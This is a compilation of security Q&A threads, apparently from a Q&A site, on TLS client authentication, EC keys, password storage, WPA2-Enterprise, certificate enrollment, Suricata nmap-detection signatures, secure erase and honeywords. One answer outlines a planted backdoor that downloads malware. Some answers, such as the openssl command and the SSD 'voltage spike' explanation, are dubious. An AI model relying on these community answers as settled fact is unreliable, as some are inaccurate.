But Bob wants to confirm whether Alice is in his whitelist.

For now, all Bob knows is that he have received a connection from ip address 66.147.244.191.

He asks for a certificate and is presented with one, issued by Verisign for alice.in.wonderland.com.

What Bob does now?

Does he make a reverse DNS on 66.147.244.191 to see if it is called alice.in.wonderland.com?

What if Alice is behind a Squid proxy?

I'm assuming the threat model is that there may be a man-in-the-middle attacker between Alice and Bob, and that Alice and Bob are not on the same trusted sub-net. That's what SSL/TLS is designed to protect against, and that's why Alice should check Bob's certificate in your example (at least).

From Bob's point of view, checking that Alice's request come from a known IP address isn't of much use. Attackers could forge and alter packets to make them look like they come from the IP address they wish. Subsequently, DNS lookups are useless too: all you'd need is to make sure you forge the packets to use an IP address with the correct DNS entry.

When Bob requests a client-certificate from Alice during SSL/TLS handshake, this will also make Alice send her certificate and use her private key during the SSL/TLS handshake to assert her identity. When the handshake has completed successfully, Bob will then know that Alice has the private key for that certificate and will have to verify it trusts this certificate.

Whether or not the request comes from behind a proxy or not doesn't matter when you're using SSL/TLS. An HTTP proxy merely tunnels the SSL/TLS connection from the original client to the target server.

What matters to Bob is how he's going to verify Alice's certificate. Typically, this will be done using a PKI in the same way as Alice verified Bob's certificate, although this needs not be the same CA as Bob's (it needs to be something that Bob trusts). Note that this doesn't need to be using a PKI either. It's possible to verify the certificate against a given list (if Alice and Bob have met before, for example), but this can be a bit more complex since Bob may have to tweak the accepted issuers list it sends (e.g. send an empty one, which is explicitly allowed by TLS 1.1, but not specified either way in previous versions, see Certificate Request message) and use custom code to verify that certificate. (I've implemented this sort of scheme in the past and it works fine.)

There is an exception to this when using what I'd call "MITM proxy servers", that is proxy servers that are configured to spoof the actual SSL/TLS server by inserting their own certificate (see Squid's SSL Bump). In this case the certificate Alice sees wouldn't come from Diginotar, but from another CA (typically a corporate CA when this is done on a corporate LAN).

Although Alice might allow herself to trust such a MITM proxy, using SSL/TLS client-certificate authentication would make Bob realise there is a MITM and the connection would fail. This is because Alice is supposed to sign the entire SSL/TLS handshake (as seen by both Alice and Bob) in her CertificateVerify message to authenticate with a client-certificate. Since the MITM proxy would have replaced Bob's certificate, the signatures sent by Alice and Bob wouldn't match.


Is the JDK standard EC KeyPairGenerator suitable for use with both ECDSA and ECDH algorithms? I've seen various references on the web for generating Elliptic Curve KeyPairs in Java, and the two most commonly referenced examples (unsurprisingly) use the JDK default provider and BouncyCastle.

But what confuses me is that the JDK default provider supports a single KeyPairGenerator algorithm name of EC while BouncyCastle also supports that as well as two additional distinct algorithm names of ECDSA and ECDH:

JDK default provider example:

KeyPairGenerator g = KeyPairGenerator.getInstance("EC");
ECGenParameterSpec spec = new ECGenParameterSpec("secp256r1");
g.initialize(spec);
KeyPair keyPair = g.generateKeyPair();

BouncyCastle provider ECDSA example:

KeyPairGenerator g = KeyPairGenerator.getInstance("ECDSA", "BC");
ECGenParameterSpec spec = new ECGenParameterSpec("secp256r1");
g.initialize(spec);
KeyPair keyPair = g.generateKeyPair();

BouncyCastle provider ECDH example:

KeyPairGenerator g = KeyPairGenerator.getInstance("ECDH", "BC");
ECGenParameterSpec spec = new ECGenParameterSpec("secp256r1");
g.initialize(spec);
KeyPair keyPair = g.generateKeyPair();

In summary, the BouncyCastle provider supports all three algorithm names, EC, ECDSA and ECDH while the JDK default provider supports only EC.

Why the discrepancy?  Is there any meaningful difference in the resulting keys used in any of these approaches?

Oracle Java documentation is a little sparse on the topic, but it does look like with the SunJCE, a key generated asEC can be used with either ECDH or ECDSA. (source):

(I'm not an Elliptic curve expert, but) Theoretically, I believe that the domain parameters for ECDH and ECDSA have the same form, that is the equation of the curve and a base point G

(CURVE, G)

(You'll often see the expanded form

(p, a, b, G, n, h)

where p, a, b are the equation of the curve, and n, h are values derived from G, provided to save computation)

And the keypairs for both algorithms are the same, namely:

priv_key: an integer d in [1, n-1]
pub_key: a point on the curve Q = (x,y) = d*G

Bottom line: Yes, keys are interchangeable between ECDH and ECDSA. Having dug through the Oracle documentation, I'm too lazy to go through Bouncy Castle too, but I would assume that EC, ECDH and ECDSA are all aliases to the same thing, put there to avoid confusion.


What are the reasons behind Oracle password restrictions? Oracle presents a fairly restrictive password policy:

  Passwords can be from 1 to 30 characters.

  The first character in an Oracle password must be a letter.

  Only letters, numbers, and the symbols “#”, “_” and “$” are acceptable
  in a password.

These kind of restrictions pass through to web applications sometimes - either because the system is Oracle backed, or a web developer has copied the rules. For example, the Virgin Media login:.

With best practices dictating salting + hashing, hence no restriction on length or characters, why does Oracle do this? Are there technical reasons, or is it simply a legacy choice?

I would say that other character might confuse Oracle parser.
You use SQL change the password:

alter user xxx identified by pass;

There are NO quotes around the password. So I would say it is for legacy reasons.
Oracle has same restrictions also for identifier/table/column names.

PS: password strength (entropy) is not primary determined by possible chars, but by it's length. In case of the password it's the length what matters.


How is Smurf Toolkit possible? We've probably all heard about the Smurf Toolkit by now. It's the GCHQ's way of tapping phones revealed by Edward Snowden. So supposedly they can take over your phone (even power it off/on!) by simply sending an encrypted text message. I'm curious as to how it is possible, because while iOS is closed source and there may be a backdoor, Android is fully open-source, so does that mean that there's the same backdoor somewhere in android's code?

Apparently, there are "secret second operating systems" (firmware) installed on mobile devices.

As to how this is possible, various actors around the world routinely spike equipment and software. This could mean that companies make secret deals to install malicious software or equipment without you knowing. In some cases, they even make deals with administrators and programmers, or target them and introduce an APT this way.

One example would be the purposeful introduction of flaws that can be exploited for your own desires. Imagine if you want access to a machine whenever you want. What do you do? Introduce a security flaw somewhere in some program or hardware. Let's break this down a bit:

You "infect" a machine with a tiny program that purposely allows a buffer overflow exploit to run. You intentionally write bad code for this purpose.
Whenever you need to do something, you can exploit the infected program.
Send a request, and have the tiny program download extra malware, which then executes.
If the downloaded malware is ever detected, the little exploit is still there, allowing potential re-infection, and the true purpose is obscured by something that seems useful.

Purposely introducing security flaws in software to target people is dangerous and immoral, but that is a favorite tool of those who like to harm others electronically.


A low tech yet secure way to keep track of passwords? I use LastPass and love it.
My girlfriend creates her own long, complex, unique, and thus difficult to remember passwords for every site. She frequently forgets them and has to rest the password.
The passwords are "organized" on various post-it notes and scraps of paper in her notebook.

LastPass is too complex for her to use plus she doesn't trust "the cloud".

Can anyone suggest a relatively low-tech yet secure method to store her passwords?
Maybe a file on an encrypted USB drive?
maybe a book code or something?

If her sole objection to LastPass is that the passwords are "out there", then I recommend using KeePass instead. It works similar to LastPass, but keeps the password database locally instead.

If she needs the passwords to be handy on-the-go, you can use KeePass as a portable app on a USB drive.

If you're really paranoid as to what might happen if the storage media containing the passwords is compromised, (even though the KeePass database is already encrypted) you can store the KeePass database within another encrypted container (TrueCrypt was previously recommended, but now defunct). Some encryption solutions have portable versions of the tools needed for using their containers on the go.


What are the general security implications behind using a web app vs its equivalent desktop app? In 2020, there are a lot of applications which have a web interface as well as "desktop apps." Such applications are either the same in functionality or very close. Three examples of this situation are the Slack, Discord, and Keeper Security applications. As a user, I am often left with a choice: Do I use the webapp in the browser, or do I download and install the desktop app?

In order to not be too vague, I'm not going to ask the question "which is more secure?" As this may not be possible to answer without a specific reference. However, there is truth to the fact that many of these applications are running on top of runtimes like Chrome, V8, Electron, Mono, etc.... For the purposes of this question, please assume that the app is of this style and not a "fully native" compiled app written directly in C or C++.

Ignoring any functionality differences (such as, I need the desktop app in order to do livestreaming), please list the general security implications of using the browser app vs desktop app.

For security reasons, why might I prefer to run the web in-browser version of the app rather than the desktop app and vice versa? One such implication could be, "exploitation in a browser-run web app would be limited to the tab's process, whereas in a desktop app, it could potentially access a greater scope" for example.

Installing a desktop application implies 100% trust in the service provider. It is the hypothetical security equivalent of them gaining privileged remote code execution on your web browser--a vanishingly rare security event. Proof of security concept: the provider can do significantly more to your device with the desktop app.

Trust has many facets; Discord and Slack are well known public companies, so it is unlikely that they will do something directly malicious, but you are also placing absolute faith in their security engineering practices. For example, they are chat apps handling user-generated content, and therefore vulnerable to attack. Do you trust Slack or Discord to provide equivalent security investment as Google does with Chrome? If they use a framework like Electron, do you trust them always to use best practices?

As a point of reference; on the desktop, I always use the browser-based clients for Discord and Slack, because I do not feel that the native applications provide enough added value. On mobile devices, I use the apps because they are worth it, and the app security model is more nuanced/sandboxed.


what information can be accessed with just the bank account number? one of my friends wants to deposit money into my other friends bank account.  obviously she needs the bank account number to do this. Can she access any other information in with just the bank account number, like the balance or anything?  Also does online or in-person deposit make a difference?

using Bank account number alone will not let you directly reach any thing , but on some banks it is used as  username for online banking , or it will be asked by customer service person as layer of authentication, or it can be used for social engineering and be part of information gathering


What is the right strategy for me to develop a paid public wifi? I want to establish a paid public WiFi system. Here is my model of how it will work:

  I will install a public WiFi in my apartment. Using the WiFi system is paid but, voluntary. Those who pay me a monthly cost will be able to access the WiFi. Those who don't pay cannot access the Wifi. Now, I cannot set one password and provide it only to those people who pay money as there is always a chance that the password will leak out to others who have not paid.

So, what is a solid security system so that only who have paid money can access the WiFi?

You should use WPA2-Enterprise, it allows you to issue per-user credentials that can be revoked at will, in addition to using unique keys for each user (so you can't decrypt someone else's wireless traffic even if you are allowed to access the network, something possible with WPA2-Personal where the key is the same for everyone).

You'll need a RADIUS server which will handle authentication attempts (every time someone associates with the AP, it relays the authentication information to the RADIUS which decides whether to accept or decline the request). This server keeps (hashed) credentials in a database and you can add and remove them at will, possibly automatically by using a payment gateway. You can even serve a second, open Wi-Fi network which only allows access to your signup page (over HTTPS) so people can sign up and pay for your network by themselves without asking you. Once they paid their credentials are added to the database and they can connect to the secure network.


openssl equivalent to des command line I have a simple des command line:

des -D -k "whatever" file.enc file.dec

des is version des(1) built with libdes v 4.01 - 13-Jan-1997 - eay

I would like to use openssl (version OpenSSL 0.9.8a 11 Oct 2005) instead but I cannot figure out the command line options. I think the closest (based on some random des man page) I have is

openssl enc -d -in file.enc -out file.dec -k "whatever" -iv 0 -des-cbc -nosalt

But no matter which command line options or algorithms I try, I keep getting the error:

5423:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:evp_enc.c:454:

Any ideas?

It should be:

    [xxx@box ~]$ openssl enc -des-cbc  -k "whatever" -iv 0 -in file.enc -out file.dec
    [xxx@box ~]$ strings file.dec
    Salted__
    [xxx@box ~]$


Does setting DNT make one a target to extra tracking? Does adding the "Do Not Track" (DNT) to HTTP headers make one a target for extra tracking, such as in-depth browser fingerprinting?

I would say no.

This is from Wiki:

  "There are no legal or technological requirements for its use, when
  it's enabled by default on browsers. As such, websites and advertisers
  may either honour the request, or completely ignore it in cases where
  it's automatically set".

So if an organisation wanted to track you and DNT was set, they could just ignore it and carry on and track you anyway. Any respectable organisation that observed DNT would probably not engage in such behaviour.


Why one should prefer EST protocol instead of SCEP? For many years SCEP was a simple and widely used protocol for obtaining X.509 certificates. However, not too so long ago another protocol called EST (RFC 7030) was developed.

What are the main reasons to move out from SCEP in favor of EST?

What is SCEP?

Simple Certificate Enrollment Protocol is a certificate enrollment protocol originally defined by Cisco in the 2011 IETF Internet-Draft draft-nourse-scep, and more recently in the 2018 IETF Internet-Draft draft-gutmann-scep out of the University of Auckland.

What is EST?

Enrollment over Secure Transport (EST) is a certificate enrollment protocol defined by Cisco, Akayla, and Aruba Networks in RFC 7030. EST can be thought of as an evolution of SCEP. Cisco provides a nice guide to understanding EST, which is spun to favour EST.

SCEP vs EST

Similarities

Both protocols are very similar in that the client sends CMS (aka PKCS#7) and CSR (aka PKCS#10) messages to the Certificate Authority, signed with a pre-existing certificate in order to enroll for a new certificate with the given CA.

They both support the following methods for the client to prove its identity to the CA (though the exact details differ):

CMS / CSR messages signed with a previously issued client certificate (e.g., an existing
certificate issued by the CA). This is typical for a certificate renewal.
CMS / CSR messages signed with a previously installed certificate that the CA has been configured to trust (e.g., manufacturer-
installed certificate or a certificate issued by some other
party). This is typical for IoT devices, mobile devices, etc, that have a certificate injected during manufacture, and where the CA has been configured to trust the manufacturing CA.
A shared secret that has been distributed to the client out-of-band.

Differences

The main difference between them is that EST uses standard TLS as the transport security layer, requiring that the certificates above be provided for TLS client-authentication in addition to signing the CMS and CSR messages.

In SCEP, the shared secret auth method is done by including the secret in the challengePassword field of the CSR, and creating a disposable self-signed certificate to sign the CMS message with.

Since EST uses standard TLS, it has two methods for enrollment using a shared secret:

Server-only TLS with HTTP username/password basic auth, where the username and password are the shared secret distributed out of band.
Mutual-auth TLS using a Pre-Shared Key (PSK) cipher suite. Neat side-effect is that this allows the client to authenticate the CA without needing to know in advance which CA it will be getting a cert from (ie no need to distribute the Root CA cert in advance).

Summary

Both are acceptable protocols for automated certificate enrollment with a PKI and offer similar security characteristics.

The advantages of EST are that it outsources its transport layer security to standard TLS, and therefore will continue to pick up security and performance improvements as new versions of TLS are released. This can also be an downside for constrained devices that do not want to dedicate code-space to a TLS implementation.


How do anti-virus & anti-malware programs protect themselves? I would assume that A/V products would need to employ the same kinds of techniques used by the software they are trying to cleanse to ensure that they can continue to run in such hostile environments.  However, A/V products are not exactly the most stealthy -- you can find evidence of them all over a Windows machine.

What are A/V products doing to protect their integrity and availability?

Any antivirus application worth its salt is going to be almost indistinguishable from malware if one only looks at its self-protection mechanism. If we wanted to be flippant, we could say that the only difference between a rogue security tool and a legitimate security tool is the tool designer's intent.

While AV's generally don't attempt to conceal their presence on a system (as rootkits do,) they will intercept any system call which the designers feel presents a threat to the application (like many, many modern examples of malware do.) Calls like TerminateProcess or CreateRemoteThread are obvious targets for a self protection scheme; another good target would be CreateFile since it's possibly the most used Windows API function of all (and can do much more than just create files.) An AV program can hook these calls and only allow them to proceed if they won't threaten the AV program. An AV may also install a Kernel mode driver so that it can manipulate the Kernel directly and interfere with malicious attempts to modify the kernel. Many of the self-defense mechanisms serve double-duty as part of the defenses provided against malware in general.

Ironic aside: some anti-malware programs are harder to remove than most malware.


When a browser extension or user script pulls a JS file from Google's CDN, how does this compromise the user's privacy in terms of Google's reach? The context from which my question has arisen is this user script which locally removes ads from Ixquick.com, which is an anonymizing 'proxy' search engine that gives the results from Google's index while not giving any info of yours to Google at the same time.

But the script makes use of Google Hosted Libraries, with this line in the userscript code:

// @require     http://ajax.googleapis.com/ajax/libs/jquery/1.6.3/jquery.min.js

Is this Google JS file, able to store or process, on Google servers, the URL of the page I'm on, ALL the content on the page (which reveals the search information I entered into Ixquick), my IP address (which reveals ME - and could it also cut through TOR's IP address obfuscation and somehow reveal my exposed IP, as well?), or even other things such as passing on my browser user agent, all to Google, thus defeating the point of using Ixquick in the first place?

Are those JS files of Google's (either now or theoretically in the future) surreptitiously able to pass your info to Google, (in other words should I modify the extension to point to my own hosted JS files or one from a trusted entity such as IXquick's servers directly if they have such accessible JS files), or is the architecture of it such that it's only possible to be locally processed and Javascript (in this context) simply cannot be coded to pass the page's info back home to Google?

Again, this is not about what Google's JS files necessarily do right now, but what the architecture is capable of, and thus what it could dynamically be updated to be able to do without our control.

Thanks.

jquery is just a library that makes using JavaScript a thousand times more easy. If google were to manipulate jquery to do some shady stuff people would notice but it is definitely possible. There's also the risk of DNS poisoning where an attacker will make your machine believe googleapis.com is at the attackers ip address and serve you their own version.

With that said, why do you need to use googles CDN at all? You could just get jQuery put it on the local machine and reference that. In the end however if you want to be anonymous with TOR turn off javascript, flash, java, shockwave and any of that other crap. They are all vectors that can be used to identify you. You can add an extra layer by using a VPN service so if they did get an IP address it wouldn't be your home IP address.


How reliable is Virustotal's file signature check? I downloaded a setup.msi file from an untrusted website. Virustotal says it's a signed file and valid signature, by the developer company and "GlobalSign Extended Validation CodeSigning CA" 3 times and also 3 times counter signed.

Does it mean, that the file is 100% the original file from the developer company and there is no way to tamper with it in any way, without breaking the file signature?

Does it mean, that the file is 100% the original file from the developer company and there is no way to tamper with it in any way, without breaking the file signature?

That means with practically 100% that the file is signed with the companies key, i.e. the cryptography behind a digital signature itself is fine. But that does not mean that it can be fully trusted.

Since such a key might have been stolen this does not mean that it was actually signed by the company. Also, the company name in the certificate does not necessary is the company you assume it is since it is possible to register the same or similar sounding company somewhere in the world and get a code signing certificate for it. In general you cannot simply assume that the certificate was issued for a legitimate and trustable company just because the issuer is a well known CA - misuse of trusted code signing certificates is actually common. And apart from getting certificates for fake certificates or compromising the original certificates the attacker might also have compromised the companies infrastructure and introduced a backdoor into the code which as part of the shipped program is also included in the code signature.


How to keep a shared web hosting server secure? What are the ways of keeping a shared LAMP server secure, assuming SSH access is available for every user?

Edit: I am mainly thinking of securing the server from the users themselves and between themselves.

It’s probably impossible, but you can make it harder for an attacker to succeed.

Strengthen your defenses:

Security harden the system (maybe referencing one of the following checklists)

  http://iase.disa.mil/stigs/checklist/ (look for UNIX Security Checklist)
   https://benchmarks.cisecurity.org/en-us/?route=downloads.multiform

Add:

  grsecurity
   Security-Enhanced Linux
   AppArmor

A decent comparison of the above tools is described here:
http://www.lifelinux.com/selinux-vs-apparmor-vs-grsecurity-345.html

Keep up to date on security patches.

Get visibility:

  Deploy a HIDS (e.g. OSSEC) to help you detect when users are behaving bad.

All of the above will require continual effort.  That is security.


Should Stack Exchange be more obscure in its systems' structure? I've noticed that Stack Exchange always reveals the detailed structure of its servers and systems (see these blog posts). And also the exact results of their tests and points of weakness (see the old and latest test results) I know the concepts of open source software regarding security, that many eyes keeps it more secure that one eye, but I always thought that is the case for generic stuff, not to disclose your own exact and detailed systems network architecture.

While I admit it is so useful and educational, and I enjoy every single bit of reading and studying it, and it's considered a reference for many things, but am I right in assuming that disclosing that much of details can be considered so helpful to an attacker and is an obvious security breach?

EDIT: Also as Henning Klevjer noted, the data explorer also is a good source of how the internal data structure and database looks like, that may be as a guide to easily alter or harm a specific piece of data if an intrusion succeeded.

I think all that is great, and a little more openness should be encouraged in other sites and systems, but isn't Stack Exchange going too far away with that?? Anyone is able to know where the data centers are, how many of them, the hardware of servers used, the full stack schema, operating systems used, the topology of network, and the exact software versions (in many cases). You are able to know the scheduled maintenance; what exactly happens, and what happened right and what happened wrong and why, and what they are doing to make it right. I think that's awesome, but is it secure??

No. You should always assume that the attacker knows everything. Security by obscurity is considered bad practice by most non-govt developers and architects. The obstacle it provides is minimal, and if something is kept secret, it may be so to hide a flaw.
Kerckhoffs's principle is important to look at.

Edit: This answer discusses security by obscurity in general; not particularly for StackExchange.


Suricata: nmap scan does not match rules I am using suricata with emerging-scan.rules and other rules. The rules are loaded in the suricata.yaml, homenet and ext_net are configured correctly.
 For testing detection of suricata I used nmap -sS in the machine in which suricata is installed. But nothing got detected.

As rules to detect the nmap -sS I used the following emergin-scan.rules:

alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN NMAP -sS window 2048"; fragbits:!D; dsize:0; flags:S,12; ack:0; window:2048; threshold: type both, track by_dst, count 1, seconds 60; reference:url,doc.emergingthreats.net/2000537; classtype:attempted-recon; sid:2000537; rev:8; metadata:created_at 2010_07_30, updated_at 2010_07_30;)
alert  ip $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN NMAP -sO"; dsize:0; ip_proto:21; threshold: type both, track by_dst, count 1, seconds 60; reference:url,doc.emergingthreats.net/2000536; classtype:attempted-recon; sid:2000536; rev:7; metadata:created_at 2010_07_30, updated_at 2010_07_30;)
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN NMAP -sS window 1024"; fragbits:!D; dsize:0; flags:S,12; ack:0; window:1024; threshold: type both, track by_dst, count 1, seconds 60; reference:url,doc.emergingthreats.net/2009582; classtype:attempted-recon; sid:2009582; rev:3; metadata:created_at 2010_07_30, updated_at 2010_07_30;)
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN NMAP -sS window 3072"; fragbits:!D; dsize:0; flags:S,12; ack:0; window:3072; threshold: type both, track by_dst, count 1, seconds 60; reference:url,doc.emergingthreats.net/2009583; classtype:attempted-recon; sid:2009583; rev:3; metadata:created_at 2010_07_30, updated_at 2010_07_30;)
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN NMAP -sS window 4096"; fragbits:!D; dsize:0; flags:S,12; ack:0; window:4096; threshold: type both, track by_dst, count 1, seconds 60; reference:url,doc.emergingthreats.net/2009584; classtype:attempted-recon; sid:2009584; rev:2; metadata:created_at 2010_07_30, updated_at 2010_07_30;)

I'm not sure if it was the case when you posted this question, but all of the signatures you posted above have been commented out of the emerging-scan.rules.

https://rules.emergingthreats.net/open/suricata-5.0/rules/emerging-scan.rules

Here are all of the remaining nmap rules in that library that are not commented out.

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN Nmap Scripting Engine User-Agent Detected (Nmap NSE)"; flow:to_server,established; content:"Nmap NSE"; http_user_agent; reference:url,doc.emergingthreats.net/2009359; classtype:web-application-attack; sid:2009359; rev:4; metadata:created_at 2010_07_30, updated_at 2010_07_30;)

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN Nmap Scripting Engine User-Agent Detected (Nmap Scripting Engine)"; flow:to_server,established; content:"Mozilla/5.0 (compatible|3b| Nmap Scripting Engine"; nocase; http_user_agent; depth:46; reference:url,doc.emergingthreats.net/2009358; classtype:web-application-attack; sid:2009358; rev:5; metadata:created_at 2010_07_30, updated_at 2010_07_30;)

alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"ET SCAN NMAP SQL Spider Scan"; flow:established,to_server; content:"GET"; http_method; content:" OR sqlspider"; http_uri; reference:url,nmap.org/nsedoc/scripts/sql-injection.html; classtype:web-application-attack; sid:2013778; rev:2; metadata:created_at 2011_10_19, updated_at 2011_10_19;)

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ET SCAN NMAP SIP Version Detect OPTIONS Scan"; flow:established,to_server; content:"OPTIONS sip|3A|nm SIP/"; depth:19; classtype:attempted-recon; sid:2018317; rev:1; metadata:created_at 2014_03_25, updated_at 2014_03_25;)

alert tcp $EXTERNAL_NET any -> $HOME_NET 5060:5061 (msg:"ET SCAN NMAP SIP Version Detection Script Activity"; content:"Via|3A| SIP/2.0/TCP nm"; content:"From|3A| <sip|3A|nm@nm"; within:150; fast_pattern; classtype:attempted-recon; sid:2018318; rev:1; metadata:created_at 2014_03_25, updated_at 2014_03_25;)

alert udp $EXTERNAL_NET 10000: -> $HOME_NET 10000: (msg:"ET SCAN NMAP OS Detection Probe"; dsize:300; content:"CCCCCCCCCCCCCCCCCCCC"; fast_pattern:only; content:"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"; depth:255; content:"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"; within:45; classtype:attempted-recon; sid:2018489; rev:3; metadata:created_at 2014_05_20, updated_at 2014_05_20;)

alert tcp any any -> $HOME_NET any (msg:"ET SCAN Nmap NSE Heartbleed Request"; flow:established,to_server; content:"|18 03|"; depth:2; byte_test:1,<,4,2; content:"|01|"; offset:5; depth:1; byte_test:2,>,2,3; byte_test:2,>,200,6; content:"|40 00|Nmap ssl-heartbleed"; fast_pattern:2,19; classtype:attempted-recon; sid:2021023; rev:1; metadata:created_at 2015_04_28, updated_at 2015_04_28;)

alert tcp $HOME_NET any -> any any (msg:"ET SCAN Nmap NSE Heartbleed Response"; flow:established,from_server; content:"|18 03|"; depth:2; byte_test:1,<,4,2; byte_test:2,>,200,3; content:"|40 00|Nmap ssl-heartbleed"; fast_pattern:2,19; classtype:attempted-recon; sid:2021024; rev:1; metadata:created_at 2015_04_28, updated_at 2015_04_28;)

alert http $HOME_NET any -> any any (msg:"ET SCAN Possible Nmap User-Agent Observed"; flow:to_server,established; content:"|20|Nmap"; http_user_agent; fast_pattern; metadata: former_category SCAN; classtype:web-application-attack; sid:2024364; rev:3; metadata:affected_product Any, attack_target Client_and_Server, deployment Perimeter, signature_severity Audit, created_at 2017_06_08, performance_impact Low, updated_at 2017_06_13;)

I did try to trigger them, but I don't really have the right setup to try as most of them require external to internal connections.


How secure is Secure Erase option in BIOS? I have been exploring data security lately and came across HDD data recovery. I now know that a format simply deletes the "pointers" to files and directories and that data is still there. The only way to completely wipe the drive is to either physically destroy it or overwrite the complete drive with random sequences of 0s and 1s.

But how secure is it really?

I have found a Secure Erase option on my HP laptop's BIOS. I have read multiple articles online and most people recommend DBAN and similar software.

From what I can understand, Secure Erase only differs from other software in the way it overwrites things, meaning, that the overwriting process takes place in the hardware itself (built-in HDD commands or something like this, I'm no expert, correct me please).

So... Let's suppose that you need your data to be destroyed completely so that it's irrecoverable... How secure is Secure Erase really? What if you run it multiple times in a row, let's say 3 - 7. How secure is it if we compare it to other secure erasing tools such as DBAN and so on?

Let's not forget that before you perform the Secure Erase operation, DriveLock asks you for a recovery password just in case your system shuts down during the process... What happens with that DriveLock and password, do they get overwritten too at the end?

Once you have run a certified secure erase function even once, data recovery is almost impossible on an HDD. Note that things are different for a FLASH drive.

To expand on this for clarification, HP Secure Erase does NOT overwrite data on the drive - it is designed for SSDs ONLY. HP used to have another option available for HDD's that did overwrite data.

SSD's (solid state memory) work differently than a traditional HDD. Overwriting an SSD is kind of useless with the way SSD's store information, and would lessen the lifespan of the drive CONSIDERABLY. Because an SSD stores information electrically, the HP Secure Erase option basically sends a voltage spike to your whole drive at once, which forces all of the sectors to reset, and wipes everything securely.

As for transparency, HP has released a technical whitepaper on how Secure Erase works, which can be viewed here: http://www8.hp.com/h20195/v2/GetPDF.aspx/4AA7-2608ENW.pdf


How to harvest plaintext passwords from emails Do you have any links to stories from a reputable source about any malware that harvests plaintext passwords from emails?

I do tech support and every once in a while one of my clients will send me some password in plaintext via email. I want to write an educative response to use in such cases but I need it to be based on clear, easy to grasp evidence.

I thought that finding references about malware that harvests plaintext passwords from your emails would be easy, but 30 minutes later and I still haven't found even one example of a malware that does this.

The problem for you finding an example is that it is not going to be malware. Malware will help gain access to emails, but once you gain access, you just need a simple script to look for keywords. Or, the search function of the email client.

So, you will end up with tools (not malware) like this:

https://github.com/dafthack/MailSniper


Does port knocking increase security behind a router? Port knocking is an additional layer of security that can be added to an already existing security concept for a server. The web server runs the SSH service behind a port, e.g. the default port 22, but this port is only opened after a certain sequence of ports is tried (knocked) before, for example 1022, 2022, 3022.

The situation is now the following: the server is running behind a consumer product router which forwards port 22. To enable port knocking, the router also has to forward ports 1022, 2022, 3022. The other ports in the router and server are closed.

Can a random attacker detect that certain ports are open in the router and thus guess at least the ports used for the knocking sequence such that it is basically useless?

  I think of something like this "Oh, ports 22, 1022, 2022, 3022 look different, probably I can try a random sequence of these ports?"

Is it in fact true that from outside it can be detected whether the router is forwarding and the port is blocked on the server or the router blocks ports?

Are there any other reasons that would render port knocking less useful in such a scenario?

Regarding the answer from schroeder♦: are there consumer product router that support this if it has to run on the router?

Portknocking is done with closed ports.

https://wiki.archlinux.org/index.php/Port_knocking

This means that no one can witness the sequence of ports opening up.

The port that gets opened is opened for the IP that knocked correctly.

Yes, this increases security because you limit the threat surface for scans and probes. The technique to open the port is weak in terms of security, but a closed port is a lowered threat, in general.

As for products that do this, because this is a really niche request, I doubt commercial products will offer port knocking, but custom firmware exists that will enable a router to do port knocking.


Is disaster recovery a requirement for any and every application that uses any ePHI? HIPAA requirements seem to state that a disaster recovery plan is a required implementation, defined within the HIPAA Contingency Plan standard in the Administrative Safeguards section of the HIPAA Security Rule.

What about if the application in question is non mission critical, uses a copy of the system of record and not the original, and if it becomes unavailable will not affect the core services of a healthcare entity?  In other words is HIPAA saying that if I have a healthcare business and I create a small application to improve an internal business process that uses an extract of my core ePHI database that I must provide a DR plan and make that tiny application fully recoverable at great expense?

First, I am not a lawyer, and this is not legal advice. Seek a qualified lawyer's advice before implementing any solution.

The intent of the availability rule is to make sure your patients always have the best possible chance for full access to your services. So if this is truly not "mission critical", it wouldn't be patient specific. If that's the case, I would work hard to de-identify the data so that it's no longer covered by HIPAA rules. Then it becomes a non issue.

If this is a patient specific process, then it's a service you are bound to provide, and I think it falls under the rule.

The problem is even if this tool is  "just an optimizer", your patients may become dependent upon your improved processes and response times.  That extends to response times for adjudication and billing activities, too. You might get away with it if you publish an SLA that encompasses your slowest possible response times. So if the optimized function normally runs in one second, and your unoptimized function runs in ten seconds, publish an SLA of 15 seconds, which would cover both.


Do honeywords add any real security? This paper proposes the concept of honeywords for detecting if a password database has been compromised.

As far as I understand it works like this:

You save n password hashes for each user, one that actually contains the real password and n-1 that contain so called honeywords (false passwords). The correct password hash is stored at a random index between those honeyword hashes.

If now one of these honeywords is used in a login attempt instead of the real password, the server can ban the account, trigger a silent alert or redirect the attacker to a honeypot of some sort. Either way the server will know that the password database has been compromised.

To check if the password is real, the server determines the index of the given password hash and contacts another "secure" server which confirms if this is the correct index for this user (or a honeyword index).

Does this method really add any real life security benefit?

This is the attack scenario from the paper, where honeywords are supposed to help:

  Stolen files of password hashes: An adversary is somehow able to steal the files of password hashes, and solve for many passwords using offline brute-force computation. He may more generally be able to steal the password hash files on many systems, or on one system at various times.

In this scenario the attacker obviously already has gained access to the system.

Would he really need the password data then anyway?
If he has was able to access the password store, wouldn't he be likely able to access the "secure" index store as well, which identifies the real passwords? Just distrtibuting the authentication over two servers doesn't seem much more secure to me.
If the compromised system can find out which is the right index, surely the attacker can as well.

Maybe I am missing something in the concept, but wouldn't it be more useful to make sure the passwords are securely hashed and the first layer of security keeps the attacker out in the first place?

Are honeywords worth considering to put them into a real life web application?

